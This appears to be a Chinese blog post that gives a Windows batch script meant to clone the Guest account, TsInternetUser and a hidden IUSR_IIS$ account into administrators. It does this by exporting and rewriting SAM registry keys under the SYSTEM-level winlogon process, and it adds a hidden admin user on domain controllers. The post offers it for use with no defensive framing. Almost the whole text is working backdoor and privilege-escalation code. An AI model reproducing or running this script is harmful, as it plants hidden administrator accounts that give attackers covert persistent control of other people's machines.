当前位置 博文首页 > 自动克隆guest为administrators组的批处理

    自动克隆guest为administrators组的批处理

    作者:admin 时间:2021-02-14 12:29

    复制代码 代码如下:

    @echo guest.bat ^<zpid^> ^<password^>
    @echo __________________________________________________________
    @rem 本guest.bat自动克隆guest为administrators组。
    @rem 如果存在username表示在终端登陆的环境运行bat.需要手工输入pid值。
    @rem 最好先手工修改密码。执行本程序两次。哈哈。 主要是没有掩饰。regedit比较费时间。
    @set zpath=%path%
    @set zcd=%cd%
    @set path=%path%;%windir%;%windir%\system32

    :start
    @net user guest |find /i "*Domain" &&echo Domain Controller, Dont clone. ADD user! &&goto DOMAIN
    @if NOT "%USERNAME%"=="" echo username=[%username%],term_login mode. input PID. &&goto Term

    :start1
    @pulist.exe |findstr.exe /i "WINLOGON.exe" >a
    @setx.exe a -f a -a 0,1 >b
    @FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (b) do @set zpid=%%i
    @goto AUTO

    :Term
    @if "%1"=="" goto USAGE
    @if NOT "%2"=="" net user guest %2
    @if NOT "%2"=="" net user |find /i "tsinternetuser" >nul &&net user tsinternetuser %2
    @set zpid=%1


    :AUTO
    @echo Make admg.reg admt.reg admiis.reg
    @psu.exe -p "%windir%\regedit.exe -e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4" -i %zpid% >nul
    @psu.exe -p "%windir%\regedit.exe -e name.$$$ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names" -i %zpid% >nul
    @echo Windows Registry Editor Version 5.00 >admg.reg
    @echo Windows Registry Editor Version 5.00 >admt.reg
    @echo [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5]>>admg.reg
    @echo [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003e8]>>admt.reg
    @type admin.reg >a &echo "Unicode -->>> ansi . find.exe use it ansi." &if exist b del b
    @echo "F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,\>>b
    @setx.exe a -f a -a 4,0 |find "," >>b
    @setx.exe a -f a -a 5,0 |find "," >>b
    @setx.exe a -f a -a 6,0 |find "," >>b
    @type b >>admg.reg
    @type b >>admt.reg

    :IIS
    @set zda=no
    @echo iusr_iis exec
    @type name.$$$ >name.reg
    @copy name.reg name.txt >nul
    @FOR /L %%i IN (5,3,30) DO @(setx.exe a -f name.reg -a %%i,0 |find /i "IUSR_IIS$" &&set zda=%%i)
    @if "%zda%" =="no" goto PSU
    @rep.exe "IUSR_IIS$" name.txt /R /I >nul
    @rep.exe "Editor" name.txt /R /I >nul
    @find.exe /v /n "" name.txt >n1
    @findstr /I "%zda%" n1 >name.iis
    @setx a -f name.iis -a 0,1 -d () >zdc
    @del n1
    @del name.iis
    @del name.$$$
    @del name.txt
    @del a
    @del b

    @For /F "tokens=1,2* delims= " %%i in (zdc) do @(echo %%i>zdd)
    @For /F "tokens=1,2* delims= " %%i in (zdd) do @(set zdd=%%i)
    @copy admg.reg admiis.reg >nul
    @echo rep.exe "1f5" "%zdd%" admiis.reg /I
    @rep.exe "1f5" "%zdd%" admiis.reg /I
    @del zdc
    @del zdd

    :PSU
    @attrib -s -r admg.bak >nul
    @attrib -s -r admt.bak >nul
    @copy admg.bak admg.reg >nul
    @copy admt.bak admt.reg >nul
    @psu.exe -p "%windir%\regedit.exe -s admg.reg" -i %zpid% >nul
    @psu.exe -p "%windir%\regedit.exe -s admt.reg" -i %zpid% >nul

    @if NOT "%zda%"=="no" psu.exe -p "%windir%\regedit.exe -s admiis.reg" -i %zpid% >nul
    @if NOT "%zda%"=="no" net user iusr_iis$ /active:yes >nul
    @if NOT "%zda%"=="no" net user iusr_iis$ /active:no >nul

    @copy admg.reg admg.bak >nul
    @copy admt.reg admt.bak >nul
    @attrib admg.bak +r +s >nul
    @attrib admt.bak +r +s >nul

    @net user guest /active:yes >nul
    @net user guest /active:no >nul
    @net user |find /I "tsinternetuser" || goto NEXT
    @net user tsinternetuser /active:yes >nul
    @net user tsinternetuser /active:no >nul
    @if exist admin.reg del admin.reg /f >nul
    @if exist admg.reg del admg.reg /f >nul
    @if exist admt.reg del admt.reg /f >nul
    :Next
    @goto end


    :DOMAIN
    @rem add user iusr_iis$
    @if "%2"=="" echo "not input guest of password" &&goto END
    @net user |find /i "iusr_iis" >nul ||net user iusr_iis$ %2 /add
    @net localgroup administrators |find /i "iusr_iis$" >nul ||net localgroup administrators iusr_iis$ /add
    @goto END

    :USAGE
    @pulist.exe |findstr.exe /i "WINLOGON explorer"
    @echo " system.bat zpid <password> "
    @echo " Need cur winlogon PID ,Term_mode,Must this Term_login_winlogon_pid. "
    @goto end1

    :END
    @echo ________ALL User IN administrators :
    @net localgroup administrators
    :END1
    @echo psu.exe -p "%windir%\regedit.exe -s admiis.reg" -i %zpid%
    @set path=%zpath%
    @set zpath=
    @set zcd=
    @set zda=
    @set zdb=
    @set zdd=
    @set zpid=
    js